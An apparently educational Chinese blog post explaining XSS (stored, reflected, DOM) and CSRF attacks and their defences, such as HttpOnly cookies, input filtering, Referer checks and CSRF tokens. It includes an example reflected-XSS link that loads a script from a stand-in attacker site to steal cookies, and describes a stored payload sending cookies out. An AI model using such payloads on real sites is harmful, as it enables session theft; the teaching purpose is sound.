<!DOCTYPE html>


<html lang="zh-Hans">


<head>
  <meta charset="utf-8" />
   
  <meta name="keywords" content="代码,生活,杂记,思考" />
   
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
  <title>
    浅谈xss与csrf的攻与防 |  AURORA
  </title>
  <meta name="generator" content="hexo-theme-ayer">
  
  <link rel="shortcut icon" href="/favicon.ico" />
  
  
<link rel="stylesheet" href="/dist/main.css">

  
<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/Shen-Yu/cdn/css/remixicon.min.css">

  
<link rel="stylesheet" href="/css/custom.css">

  
  
<script src="https://cdn.jsdelivr.net/npm/pace-js@1.0.2/pace.min.js"></script>

  
  

  

<link rel="alternate" href="/atom.xml" title="AURORA" type="application/atom+xml">
</head>

</html>

<body>
  <div id="app">
    
      
    <main class="content on">
      <section class="outer">
  <article
  id="post-浅谈xss与csrf的攻与防"
  class="article article-type-post"
  itemscope
  itemprop="blogPost"
  data-scroll-reveal
>
  <div class="article-inner">
    
    <header class="article-header">
       
<h1 class="article-title sea-center" style="border-left:0" itemprop="name">
  浅谈xss与csrf的攻与防
</h1>
 

    </header>
     
    <div class="article-meta">
      <a href="/2020/04/03/%E6%B5%85%E8%B0%88xss%E4%B8%8Ecsrf%E7%9A%84%E6%94%BB%E4%B8%8E%E9%98%B2/" class="article-date">
  <time datetime="2020-04-02T16:00:00.000Z" itemprop="datePublished">2020-04-03 00:04:00</time>
</a> 
  <div class="article-category">
    <a class="article-category-link" href="/categories/%E6%8A%80%E6%9C%AF/">技术</a> / <a class="article-category-link" href="/categories/%E6%8A%80%E6%9C%AF/%E8%AE%A1%E7%AE%97%E6%9C%BA%E9%80%9A%E8%AF%86/">计算机通识</a> / <a class="article-category-link" href="/categories/%E6%8A%80%E6%9C%AF/%E8%AE%A1%E7%AE%97%E6%9C%BA%E9%80%9A%E8%AF%86/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/">计算机网络</a>
  </div>
  
<div class="word_count">
    <span class="post-time">
        <span class="post-meta-item-icon">
            <i class="ri-quill-pen-line"></i>
            <span class="post-meta-item-text"> Word count:</span>
            <span class="post-count">2.1k</span>
        </span>
    </span>

    <span class="post-time">
        &nbsp; | &nbsp;
        <span class="post-meta-item-icon">
            <i class="ri-book-open-line"></i>
            <span class="post-meta-item-text"> Reading time≈</span>
            <span class="post-count">7 min</span>
        </span>
    </span>
</div>
 
    </div>
      
    <div class="tocbot"></div>




  
    <div class="article-entry" itemprop="articleBody">
       
  <h1 id="回顾一下cookie"><a href="#回顾一下cookie" class="headerlink" title="回顾一下cookie"></a>回顾一下cookie</h1><a id="more"></a>
<p>cookie是网站存储在用户本地用于标识来访者唯一认证身份的依据。</p>
<blockquote>
<p>来做个形象的比喻，有一天，小A去了一家新开的理发店，店里的托尼老师不认识小A，于是小A就办了一张VIP卡，当小A第二次去这家理发店的时候，店里的托尼老师刷了下小A的卡，想起来了你是小A啊，今天搞什么样的造型啊~ Cookie就是那张VIP卡，用于辨别用户身份。</p>
</blockquote>
<p><img src="https://img-blog.csdnimg.cn/20200403104204410.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTIwMzE5NTg=,size_16,color_FFFFFF,t_70" alt=""><br>采用 Name = Value 的键值对形式存储数据，Name是唯一的</p>
<p>Domain：域名，限制哪些域名下可以使用（该VIP卡仅限本店使用）</p>
<p>Path：路径，只有这个路径前缀的才可用（该VIP卡仅限烫头）</p>
<p>Expires：过期时间（该VIP卡有效期一年）</p>
<p>HTTP（HTTPOnly）：只有浏览器请求时，才会在请求头中带着，JavaScript无法读写</p>
<p>Secure：非HTTPS请求时不带</p>
<p>SameSite：用于定义cookie如何跨域发送</p>
<h1 id="xss跨站脚本攻击"><a href="#xss跨站脚本攻击" class="headerlink" title="xss跨站脚本攻击"></a>xss跨站脚本攻击</h1><p>通常是带有页面可解析内容的数据未经处理直接插入到页面上解析造成的。XSS根据攻击脚本的引入位置来区分为存储型XSS、反射型XSS以及MXSS（也叫DOM XSS）三种</p>
<h2 id="存储型xss"><a href="#存储型xss" class="headerlink" title="存储型xss"></a>存储型xss</h2><p>假设有一个论坛存在XSS漏洞，用户小A在该论坛的一篇帖子中留言到<br><img src="https://img-blog.csdnimg.cn/20200403104534217.png" alt=""><br>当小A写的留言被该论坛保存下来之后，如果有其他的用户看到了这条评论（相当于打开了这个页面，执行了hark.js，hark.js里面内容大致是获取Cookie，发送请求），那么这些用户的Cookie都会发送到小A事先写好的信息收集网站中进行保存，然后小A就可以用这些Cookie进行登录啦。</p>
<p>上述这种XSS攻击属于存储型，提交的代码会被存储在服务器端，下次请求目标网站时不用再提交XSS代码。所以这种类型的主要原因是前端提交的数据未经处理直接存储到数据库，然后从数据库中读取出来后直接插入到页面中导致的。</p>
<h2 id="反射性xss"><a href="#反射性xss" class="headerlink" title="反射性xss"></a>反射性xss</h2><p>假设有一个网站lalala存在XSS漏洞，网址是<a href="http://www.lalala.com。然后有一天小A在邮件里发现一封邮件，内容是一张你懂得图片然后配下面的标签。" target="_blank" rel="noopener">http://www.lalala.com。然后有一天小A在邮件里发现一封邮件，内容是一张你懂得图片然后配下面的标签。</a></p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span> = <span class="string">"http://www.lalala.com?x=&lt;script src = http://攻击者网站/hacker.js&gt;&gt;凤姐最新性感视频&lt;/a&gt;</span></span></span><br></pre></td></tr></table></figure>
<p>小A好奇啊，然后就点了进去，如果在此之前小A登录过lalala网站，那么他的Cookie就被盗走了。</p>
<p>这种XSS攻击属于反射型，发出请求时，XSS代码出现在URL中，作为输入提交到服务器，服务器解析后响应，XSS代码随着响应内容一起传回给浏览器，最后浏览器解析执行XSS代码。这个过程像一次反射，故叫做反射型XSS。</p>
<h2 id="mxss"><a href="#mxss" class="headerlink" title="mxss"></a>mxss</h2><p>在渲染DOM属性时将攻击脚本插入DOM属性中被解析而导致的。<br><img src="https://img-blog.csdnimg.cn/20200403105346299.png" alt=""></p>
<h2 id="对应的解决方案"><a href="#对应的解决方案" class="headerlink" title="对应的解决方案"></a>对应的解决方案</h2><p> <strong>服务端可以做以下动作：</strong></p>
<p>1、刚刚上面讲到Cookie中有个属性时HTTP，设置为True，不允许JavaScript读取cookies，但该属性只适配部分浏览器。对于HTTPS可以设置Secure</p>
<p>2、处理富文本框输入内容，进行XSS过滤，过滤类似script、iframe、form等标签以及转义存储</p>
<p><strong>客户端可以做以下动作：</strong></p>
<p>1、输入检查，和服务端一样都要做。<br>2、输出检查，编码转义，如果使用jquery，就是那些append、html、before、after等，插入DOM的方法需要注意。现今大部分的MV*框架在模板（view层）会自动处理XSS问题。</p>
<h1 id="CSRF跨站请求伪造攻击"><a href="#CSRF跨站请求伪造攻击" class="headerlink" title="CSRF跨站请求伪造攻击"></a>CSRF跨站请求伪造攻击</h1><p> CSRF（Cross-site request forgery）跨站请求伪造=，是一种对网站的恶意利用。</p>
<p>尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。</p>
<h2 id="攻击原理"><a href="#攻击原理" class="headerlink" title="攻击原理"></a>攻击原理</h2><ol>
<li><p>用户打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A。</p>
</li>
<li><p>在用户信息通过验证后，网站A产生Cookie信息并返回给浏览器。</p>
</li>
<li><p>用户在未退出网站A之前，在同一浏览器中，打开一个TAB页访问网站B。</p>
</li>
<li><p>网站B接收到用户请求后，发出一个访问网站A的请求。</p>
</li>
<li><p>浏览器根据网站B的请求，在用户不知情的情况下携带Cookie信息，向网站A发出请求。网站A并不知道该请求其实是由B发起的，所以会根据用户的Cookie信息处理该请求，达到模拟用户操作的目的。</p>
</li>
</ol>
<p>tips：Session Cookie（在浏览器关闭后，就会失效，保存到内存）</p>
<p>Third-party Cookie（关闭浏览器后，不会失效，保存到本地）</p>
<h2 id="常见的CSRF攻击："><a href="#常见的CSRF攻击：" class="headerlink" title="常见的CSRF攻击："></a>常见的CSRF攻击：</h2><h3 id="Get请求，操作数据库内容"><a href="#Get请求，操作数据库内容" class="headerlink" title="Get请求，操作数据库内容"></a>Get请求，操作数据库内容</h3><p>比如网站A的修改密码接口是GET方式，通过调用api/ChangePassword？psw=123就可以进行密码的修改，所以在开发的过程中如果涉及到数据改动都建议采用POST请求</p>
<h3 id="隐藏表单提交POST请求"><a href="#隐藏表单提交POST请求" class="headerlink" title="隐藏表单提交POST请求"></a>隐藏表单提交POST请求</h3><p>单纯的POST当然也是能伪造的，JS利用form表单可以跨域请求的特性的提交POST请求仍然能够产生CSRF攻击。</p>
<h3 id="XSRF"><a href="#XSRF" class="headerlink" title="XSRF"></a>XSRF</h3><p>通常来说CSRF是由XSS实现的，所以CSRF时常也被称为XSRF，用XSS的方式实现伪造请求，比如网站A存在XSS漏洞，被注入恶意代码后，当有用户访问到有恶意代码的网页的时候，就会发送一条类似转账，关注啊之类的请求，做到XSRF攻击。</p>
<h2 id="防范方法"><a href="#防范方法" class="headerlink" title="防范方法"></a>防范方法</h2><h3 id="Referer（记录-HTTP-请求的来源地址）-Check"><a href="#Referer（记录-HTTP-请求的来源地址）-Check" class="headerlink" title="Referer（记录 HTTP 请求的来源地址） Check"></a>Referer（记录 HTTP 请求的来源地址） Check</h3><p>好处是只需要增加一个拦截器来检查 Referer ，用于过滤非该服务器域名的地址，不需要改变当前系统的任何已有代码和逻辑，非常快捷。</p>
<p>但是，Referer 的值是由浏览器提供的，虽然 HTTP 协议上有明确的要求，但是每个浏览器对于 Referer 的具体实现可能有差别，并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法，就是把安全性都依赖于第三方（即浏览器）来保障，不是很靠谱，并且一些低版本的浏览器像IE6等有方法对Referer 进行篡改。还有重要的一点是，用户可以设置浏览器不携带 Referer字段。</p>
<h3 id="验证码"><a href="#验证码" class="headerlink" title="验证码"></a>验证码</h3><p>强制用户必须与应用进行交互，才能完成最终请求。在通常情况下，验证码能很好遏制CSRF攻击。但是出于用户体验考虑，网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段，不能作为主要解决方案</p>
<h3 id="Token"><a href="#Token" class="headerlink" title="Token"></a>Token</h3><p>两种使用形式：在参数中添加（无需改变现有交互模式），在请求头中添加（需要将请求改为使用XMLHttpRequest）</p>
<p>在 HTTP 请求中以参数的形式添加一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token，假设请求中没有 token 或者 token 内容不对，则觉得可能是 CSRF 攻击而拒绝该请求。并且涉及数据库操作的接口使用POST，因为GET不好加Token，会暴露Token的保密性。</p>
<p>关于token：</p>
<ul>
<li><p>Token 应该保存到 local / session stograge（不会跨域工作） 或者 cookies</p>
</li>
<li><p>Tokens 除了像 cookie 一样有有效期，还要提供过期重新获取、强制刷新、撤回等操作</p>
</li>
<li><p>有需要的话，要加密并且签名 token</p>
</li>
<li><p>将 JSON Web Tokens（JWT） 应用到 OAuth 2</p>
</li>
</ul>
<h1 id="总结xss和csrf的区别"><a href="#总结xss和csrf的区别" class="headerlink" title="总结xss和csrf的区别"></a>总结xss和csrf的区别</h1><ul>
<li>区别一，发生位置</li>
</ul>
<p>XSS：发生在客户端</p>
<p>CSRF：发生在服务端</p>
<ul>
<li>区别二，原理</li>
</ul>
<p>XSS：注入代码，执行代码，篡改内容</p>
<p>CSRF：携带Cookie模拟请求</p>
<ul>
<li>区别三，根源</li>
</ul>
<p>XSS：同源策略机制</p>
<p>CSRF：Web隐式身份验证机制</p>
<ul>
<li>区别四，就Cookie而言</li>
</ul>
<p>XSS：盗取Cookie来干坏事</p>
<p>CSRF：借用Cookie来干坏事</p>
 
      <!-- reward -->
      
    </div>
    

    <!-- copyright -->
    
    <div class="declare">
      <ul class="post-copyright">
        <li>
          <i class="ri-copyright-line"></i>
          <strong>Copyright： </strong>
          Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
        </li>
      </ul>
    </div>
    
    <footer class="article-footer">
       
<div class="share-btn">
      <span class="share-sns share-outer">
        <i class="ri-share-forward-line"></i>
        分享
      </span>
      <div class="share-wrap">
        <i class="arrow"></i>
        <div class="share-icons">
          
          <a class="weibo share-sns" href="javascript:;" data-type="weibo">
            <i class="ri-weibo-fill"></i>
          </a>
          <a class="weixin share-sns wxFab" href="javascript:;" data-type="weixin">
            <i class="ri-wechat-fill"></i>
          </a>
          <a class="qq share-sns" href="javascript:;" data-type="qq">
            <i class="ri-qq-fill"></i>
          </a>
          <a class="douban share-sns" href="javascript:;" data-type="douban">
            <i class="ri-douban-line"></i>
          </a>
          <!-- <a class="qzone share-sns" href="javascript:;" data-type="qzone">
            <i class="icon icon-qzone"></i>
          </a> -->
          
          <a class="facebook share-sns" href="javascript:;" data-type="facebook">
            <i class="ri-facebook-circle-fill"></i>
          </a>
          <a class="twitter share-sns" href="javascript:;" data-type="twitter">
            <i class="ri-twitter-fill"></i>
          </a>
          <a class="google share-sns" href="javascript:;" data-type="google">
            <i class="ri-google-fill"></i>
          </a>
        </div>
      </div>
</div>

<div class="wx-share-modal">
    <a class="modal-close" href="javascript:;"><i class="ri-close-circle-line"></i></a>
    <p>扫一扫，分享到微信</p>
    <div class="wx-qrcode">
      <img src="" alt="微信分享二维码">
    </div>
</div>

<div id="share-mask"></div>  
    </footer>
  </div>

   
  <nav class="article-nav">
    
      <a href="/2020/04/05/%E7%AE%80%E5%8D%95%E4%BA%86%E8%A7%A3etag/" class="article-nav-link">
        <strong class="article-nav-caption">上一篇</strong>
        <div class="article-nav-title">
          
            简单了解etag
          
        </div>
      </a>
    
    
      <a href="/2020/03/24/360%E7%9A%84%E6%8A%BD%E5%A5%96/" class="article-nav-link">
        <strong class="article-nav-caption">下一篇</strong>
        <div class="article-nav-title">360的抽奖</div>
      </a>
    
  </nav>

   
<!-- valine评论 -->
<div id="vcomments-box">
  <div id="vcomments"></div>
</div>
<script src="//cdn1.lncld.net/static/js/3.0.4/av-min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/valine@1.4.14/dist/Valine.min.js"></script>
<script>
  new Valine({
    el: "#vcomments",
    app_id: "2eBxdPB3eEwraN7IpwFckzeL-gzGzoHsz",
    app_key: "VGgCefQEluVxHdyMsm1Dpeih",
    path: window.location.pathname,
    avatar: "monsterid",
    placeholder: "评论一下我的文章吧~",
    recordIP: true,
  });
  const infoEle = document.querySelector("#vcomments .info");
  if (infoEle && infoEle.childNodes && infoEle.childNodes.length > 0) {
    infoEle.childNodes.forEach(function (item) {
      item.parentNode.removeChild(item);
    });
  }
</script>
<style>
  #vcomments-box {
    padding: 5px 30px;
  }

  @media screen and (max-width: 800px) {
    #vcomments-box {
      padding: 5px 0px;
    }
  }

  #vcomments-box #vcomments {
    background-color: #fff;
  }

  .v .vlist .vcard .vh {
    padding-right: 20px;
  }

  .v .vlist .vcard {
    padding-left: 10px;
  }
</style>

 
     
</article>

</section>
      <footer class="footer">
  <div class="outer">
    <ul>
      <li>
        Copyrights &copy;
        2015-2020
        <i class="ri-heart-fill heart_icon"></i> AURORA_ZXH
      </li>
    </ul>
    <ul>
      <li>
        
        
        
        Powered by <a href="https://hexo.io" target="_blank">Hexo</a>
        <span class="division">|</span>
        Theme - <a href="https://github.com/Shen-Yu/hexo-theme-ayer" target="_blank">Ayer</a>
        
      </li>
    </ul>
    <ul>
      <li>
        
        
        <span>
  <span><i class="ri-user-3-fill"></i>Visitors:<span id="busuanzi_value_site_uv"></span></s>
  <span class="division">|</span>
  <span><i class="ri-eye-fill"></i>Views:<span id="busuanzi_value_page_pv"></span></span>
</span>
        
      </li>
    </ul>
    <ul>
      
    </ul>
    <ul>
      <li>
        <!-- cnzz统计 -->
        
        <script type="text/javascript" src='https://s9.cnzz.com/z_stat.php?id=1278069914&amp;web_id=1278069914'></script>
        
      </li>
    </ul>
  </div>
</footer>
      <div class="float_btns">
        <div class="totop" id="totop">
  <i class="ri-arrow-up-line"></i>
</div>

<div class="todark" id="todark">
  <i class="ri-moon-line"></i>
</div>

      </div>
    </main>
    <aside class="sidebar on">
      <button class="navbar-toggle"></button>
<nav class="navbar">
  
  <div class="logo">
    <a href="/"><img src="/images/avatar.jpg" alt="AURORA"></a>
  </div>
  
  <ul class="nav nav-main">
    
    <li class="nav-item">
      <a class="nav-item-link" href="/">主页</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/archives">归档</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/categories">分类</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/tags">标签</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="http://aurora-zxh.lofter.com/" target="_blank" rel="noopener">随记</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/about">关于我</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/link">友链</a>
    </li>
    
  </ul>
</nav>
<nav class="navbar navbar-bottom">
  <ul class="nav">
    <li class="nav-item">
      
      <a class="nav-item-link nav-item-search"  title="Search">
        <i class="ri-search-line"></i>
      </a>
      
      
      <a class="nav-item-link" target="_blank" href="/atom.xml" title="RSS Feed">
        <i class="ri-rss-line"></i>
      </a>
      
    </li>
  </ul>
</nav>
<div class="search-form-wrap">
  <div class="local-search local-search-plugin">
  <input type="search" id="local-search-input" class="local-search-input" placeholder="Search...">
  <div id="local-search-result" class="local-search-result"></div>
</div>
</div>
    </aside>
    <script>
      if (window.matchMedia("(max-width: 768px)").matches) {
        document.querySelector('.content').classList.remove('on');
        document.querySelector('.sidebar').classList.remove('on');
      }
    </script>
    <div id="mask"></div>

<!-- #reward -->
<div id="reward">
  <span class="close"><i class="ri-close-line"></i></span>
  <p class="reward-p"><i class="ri-cup-line"></i>请我喝杯咖啡吧~</p>
  <div class="reward-box">
    
    <div class="reward-item">
      <img class="reward-img" src="/images/alipay.png">
      <span class="reward-type">支付宝</span>
    </div>
    
    
    <div class="reward-item">
      <img class="reward-img" src="/images/wxpay.png">
      <span class="reward-type">微信</span>
    </div>
    
  </div>
</div>
    
<script src="/js/jquery-2.0.3.min.js"></script>


<script src="/js/lazyload.min.js"></script>

<!-- Tocbot -->


<script src="/js/tocbot.min.js"></script>

<script>
  tocbot.init({
    tocSelector: '.tocbot',
    contentSelector: '.article-entry',
    headingSelector: 'h1, h2, h3, h4, h5, h6',
    hasInnerContainers: true,
    scrollSmooth: true,
    scrollContainer: 'main',
    positionFixedSelector: '.tocbot',
    positionFixedClass: 'is-position-fixed',
    fixedSidebarOffset: 'auto'
  });
</script>

<script src="https://cdn.jsdelivr.net/npm/jquery-modal@0.9.2/jquery.modal.min.js"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/jquery-modal@0.9.2/jquery.modal.min.css">
<script src="https://cdn.jsdelivr.net/npm/justifiedGallery@3.7.0/dist/js/jquery.justifiedGallery.min.js"></script>

<script src="/dist/main.js"></script>

<!-- ImageViewer -->

<!-- Root element of PhotoSwipe. Must have class pswp. -->
<div class="pswp" tabindex="-1" role="dialog" aria-hidden="true">

    <!-- Background of PhotoSwipe. 
         It's a separate element as animating opacity is faster than rgba(). -->
    <div class="pswp__bg"></div>

    <!-- Slides wrapper with overflow:hidden. -->
    <div class="pswp__scroll-wrap">

        <!-- Container that holds slides. 
            PhotoSwipe keeps only 3 of them in the DOM to save memory.
            Don't modify these 3 pswp__item elements, data is added later on. -->
        <div class="pswp__container">
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
        </div>

        <!-- Default (PhotoSwipeUI_Default) interface on top of sliding area. Can be changed. -->
        <div class="pswp__ui pswp__ui--hidden">

            <div class="pswp__top-bar">

                <!--  Controls are self-explanatory. Order can be changed. -->

                <div class="pswp__counter"></div>

                <button class="pswp__button pswp__button--close" title="Close (Esc)"></button>

                <button class="pswp__button pswp__button--share" style="display:none" title="Share"></button>

                <button class="pswp__button pswp__button--fs" title="Toggle fullscreen"></button>

                <button class="pswp__button pswp__button--zoom" title="Zoom in/out"></button>

                <!-- Preloader demo http://codepen.io/dimsemenov/pen/yyBWoR -->
                <!-- element will get class pswp__preloader--active when preloader is running -->
                <div class="pswp__preloader">
                    <div class="pswp__preloader__icn">
                        <div class="pswp__preloader__cut">
                            <div class="pswp__preloader__donut"></div>
                        </div>
                    </div>
                </div>
            </div>

            <div class="pswp__share-modal pswp__share-modal--hidden pswp__single-tap">
                <div class="pswp__share-tooltip"></div>
            </div>

            <button class="pswp__button pswp__button--arrow--left" title="Previous (arrow left)">
            </button>

            <button class="pswp__button pswp__button--arrow--right" title="Next (arrow right)">
            </button>

            <div class="pswp__caption">
                <div class="pswp__caption__center"></div>
            </div>

        </div>

    </div>

</div>

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe.min.css">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/default-skin/default-skin.min.css">
<script src="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe-ui-default.min.js"></script>

<script>
    function viewer_init() {
        let pswpElement = document.querySelectorAll('.pswp')[0];
        let $imgArr = document.querySelectorAll(('.article-entry img:not(.reward-img)'))

        $imgArr.forEach(($em, i) => {
            $em.onclick = () => {
                // slider展开状态
                // todo: 这样不好，后面改成状态
                if (document.querySelector('.left-col.show')) return
                let items = []
                $imgArr.forEach(($em2, i2) => {
                    let img = $em2.getAttribute('data-idx', i2)
                    let src = $em2.getAttribute('data-target') || $em2.getAttribute('src')
                    let title = $em2.getAttribute('alt')
                    // 获得原图尺寸
                    const image = new Image()
                    image.src = src
                    items.push({
                        src: src,
                        w: image.width || $em2.width,
                        h: image.height || $em2.height,
                        title: title
                    })
                })
                var gallery = new PhotoSwipe(pswpElement, PhotoSwipeUI_Default, items, {
                    index: parseInt(i)
                });
                gallery.init()
            }
        })
    }
    viewer_init()
</script>

<!-- MathJax -->

<!-- Katex -->

<!-- busuanzi  -->


<script src="/js/busuanzi-2.3.pure.min.js"></script>


<!-- ClickLove -->

<!-- ClickBoom1 -->

<!-- ClickBoom2 -->

<!-- CodeCopy -->


<link rel="stylesheet" href="/css/clipboard.css">

<script src="https://cdn.jsdelivr.net/npm/clipboard@2/dist/clipboard.min.js"></script>
<script>
  function wait(callback, seconds) {
    var timelag = null;
    timelag = window.setTimeout(callback, seconds);
  }
  !function (e, t, a) {
    var initCopyCode = function(){
      var copyHtml = '';
      copyHtml += '<button class="btn-copy" data-clipboard-snippet="">';
      copyHtml += '<i class="ri-file-copy-2-line"></i><span>COPY</span>';
      copyHtml += '</button>';
      $(".highlight .code pre").before(copyHtml);
      $(".article pre code").before(copyHtml);
      var clipboard = new ClipboardJS('.btn-copy', {
        target: function(trigger) {
          return trigger.nextElementSibling;
        }
      });
      clipboard.on('success', function(e) {
        let $btn = $(e.trigger);
        $btn.addClass('copied');
        let $icon = $($btn.find('i'));
        $icon.removeClass('ri-file-copy-2-line');
        $icon.addClass('ri-checkbox-circle-line');
        let $span = $($btn.find('span'));
        $span[0].innerText = 'COPIED';
        
        wait(function () { // 等待两秒钟后恢复
          $icon.removeClass('ri-checkbox-circle-line');
          $icon.addClass('ri-file-copy-2-line');
          $span[0].innerText = 'COPY';
        }, 2000);
      });
      clipboard.on('error', function(e) {
        e.clearSelection();
        let $btn = $(e.trigger);
        $btn.addClass('copy-failed');
        let $icon = $($btn.find('i'));
        $icon.removeClass('ri-file-copy-2-line');
        $icon.addClass('ri-time-line');
        let $span = $($btn.find('span'));
        $span[0].innerText = 'COPY FAILED';
        
        wait(function () { // 等待两秒钟后恢复
          $icon.removeClass('ri-time-line');
          $icon.addClass('ri-file-copy-2-line');
          $span[0].innerText = 'COPY';
        }, 2000);
      });
    }
    initCopyCode();
  }(window, document);
</script>


<!-- CanvasBackground -->


    
  </div>
</body>

</html>